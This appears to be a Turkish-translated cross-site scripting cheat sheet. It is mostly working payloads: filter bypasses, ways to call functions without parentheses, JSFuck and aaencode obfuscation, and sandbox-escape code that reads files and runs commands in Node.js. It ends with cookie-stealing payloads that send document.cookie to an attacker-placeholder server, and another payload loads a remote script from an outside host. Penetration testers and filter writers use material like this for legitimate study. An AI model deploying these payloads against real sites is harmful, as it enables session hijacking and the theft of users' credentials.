
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript yeni satırlar (kaynak JavaScript new line numarası)

//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript boşluk karakterleri

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript bir yorumun içinde

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript parantezsiz

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Keyfi fonksiyon (alert) çağrısı

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

There is JS code that is using unsafely data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
Açıklamanın uzaması nedeniyle DOM vulnerabilities it was moved to this page:

DOM XSS

Orada DOM vulnerabilities hakkında ne oldukları, nasıl tetiklendikleri ve nasıl istismar edilecekleri ile ilgili detaylı bir açıklama bulacaksınız.
Ayrıca, bahsi geçen yazının sonunda DOM Clobbering attacks hakkında bir açıklama bulabileceğinizi unutmayın.

Self-XSS’i Yükseltme

Eğer payload’u bir cookie içine göndererek bir XSS tetikleyebiliyorsanız, bu genellikle bir self-XSS’tir. Ancak, eğer XSS’e açık bir alt alan adı (vulnerable subdomain to XSS) bulursanız, bu XSS’i kullanarak tüm domain’e bir cookie enjekte edebilir ve ana domainde veya diğer alt alan adlarında (cookie XSS’e açık olanlarda) cookie XSS’i tetikleyebilirsiniz. Bunun için cookie tossing saldırısını kullanabilirsiniz:

Cookie Tossing

Bu tekniğin harika bir kötüye kullanım örneğini bu blog yazısında bulabilirsiniz.

Oturumunuzu admin’e gönderme

Belki bir kullanıcı profilini admin ile paylaşabilir ve eğer profilin içinde self XSS varsa ve admin buna erişirse, zafiyet tetiklenir.

Session Mirroring

Eğer bazı self XSS’ler bulursanız ve web sayfası yöneticiler için session mirroring özelliğine sahipse —örneğin müşterilerin yardım istemesine izin veriyor ve admin size yardım etmek için sizin oturumunuzda gördüklerini kendi oturumundan görebiliyorsa—

Yöneticinin self XSS’inizi tetiklemesini sağlayarak onun cookie’lerini/oturumunu çalabilirsiniz.

Diğer Bypass’lar

Bypassing sanitization via WASM linear-memory template overwrite

When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as “

%.*s

” to “” turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.

Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:

Wasm Linear Memory Template Overwrite Xss

Unicode Normalizasyonu

Yansıtılan değerlerin sunucuda (veya istemci tarafında) unicode normalizasyonu uygulanıp uygulanmadığını kontrol edebilir ve bu işlevi korumaları atlatmak için kötüye kullanabilirsiniz. Bir örneği burada bulun.

PHP FILTER_VALIDATE_EMAIL flag Bypass

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

Bu RoR mass assignment nedeniyle HTML’e tırnak işaretleri ekleniyor ve böylece tırnak kısıtlaması atlatılarak etiketin içine ek alanlar (onfocus) eklenebiliyor.
Form örneği (from this report), payload gönderirseniz:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Çift “Key”,“Value” şu şekilde geri yazdırılacaktır:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Böylece onfocus özniteliği eklenecek ve XSS meydana gelir.

Özel kombinasyonlar

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

302 yanıtında header enjeksiyonu ile XSS

Eğer bir 302 Redirect yanıtına başlık enjekte edebildiğinizi görürseniz, tarayıcının rastgele JavaScript çalıştırmasını sağlamayı deneyebilirsiniz. Bu kolay değildir, çünkü modern tarayıcılar HTTP yanıt durum kodu 302 olduğunda HTTP yanıt gövdesini yorumlamazlar; dolayısıyla sadece bir cross-site scripting payload’u işe yaramaz.

In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Sadece Harfler, Rakamlar ve Noktalar

Eğer javascript’in çalıştıracağı callback’i yalnızca bu karakterlerle (harfler, sayılar ve noktalar) sınırlı şekilde belirleyebiliyorsanız. Read this section of this post bu davranışın nasıl suistimal edileceğini öğrenmek için bakın.

Geçerli <script> Content-Types ile XSS

(Buradan: here) Eğer application/octet-stream gibi bir content-type ile bir script yüklemeyi dener ve Chrome bu durumda şu hatayı fırlatır:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Chrome’un bir loaded script’i çalıştırmasını destekleyecek tek Content-Type’lar, https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc içindeki const kSupportedJavascriptTypes’de bulunanlardır.

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

XSS için Script Türleri

(From here) Peki, bir script’i yüklemek için hangi türler belirtilebilir?

<script type="???"></script>

Cevap:

  • module (varsayılan, açıklamaya gerek yok)
  • webbundle: Web Bundles, HTML, CSS, JS… gibi verileri bir araya getirip .wbn dosyası halinde paketleyebileceğiniz bir özelliktir.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: İçe aktarma sözdizimini geliştirmeye olanak tanır
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Bu davranış this writeup içinde bir kütüphaneyi eval’e yeniden eşlemek için kullanıldı; kötüye kullanımı XSS tetikleyebilir.

  • speculationrules: Bu özellik esas olarak önceden renderlemenin neden olduğu bazı problemleri çözmek için tasarlanmıştır. İşleyişi şu şekildedir:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types ile XSS

(Kaynak: here) Aşağıdaki içerik türleri tüm tarayıcılarda XSS çalıştırabilir:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? listede değil ama bununla bir CTF’de gördüğümü sanıyorum)
  • application/rss+xml (off)
  • application/atom+xml (off)

Diğer tarayıcılarda diğer Content-Types rastgele JS çalıştırmak için kullanılabilir, bakınız: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml İçerik Türü

Eğer sayfa text/xml content-type ile dönüyorsa, bir namespace belirleyip rastgele JS çalıştırmak mümkün:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Özel Değiştirme Desenleri

Şu gibi bir şey kullanıldığında "some {{template}} data".replace("{{template}}", <user_input>). Saldırgan bazı korumaları atlatmak için special string replacements kullanabilir: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Örneğin this writeup içinde, bu bir script içindeki bir JSON string’ini escape etmek ve keyfi kod yürütmek için kullanıldı.

Chrome Önbelleğinden XSS’e

Chrome Cache to XSS

XS Jails Escape

Sadece sınırlı sayıda karakter kullanabiliyorsanız, XSJail problemleri için şu diğer geçerli çözümleri inceleyin:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Eğer güvensiz kod çalıştırılmadan önce her şey undefined ise (örneğin this writeup) herhangi bir güvensiz kodun yürütülmesini kötüye kullanmak için yararlı nesneleri “hiçten” oluşturmak mümkün olur:

  • import() kullanarak
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • require’e dolaylı erişim

According to this modüller Node.js tarafından bir fonksiyon içine sarılır, şöyle:

;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Bu nedenle, eğer o modülden başka bir fonksiyon çağırabiliyorsak, o fonksiyondan arguments.callee.caller.arguments[1]’i kullanarak require’e erişmek mümkündür:

;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

Önceki örneğe benzer şekilde, hata işleyicilerini kullanarak modülün wrapper’ına erişmek ve require fonksiyonunu almak mümkündür:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}

XSS common payloads

Several payloads in 1

Steal Info JS

Iframe Trap

Kullanıcının iframe’den çıkmadan sayfa içinde gezinmesini sağlayın ve eylemlerini çalın (formlarda gönderilen bilgiler dahil):

Iframe Traps

Retrieve Cookies

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
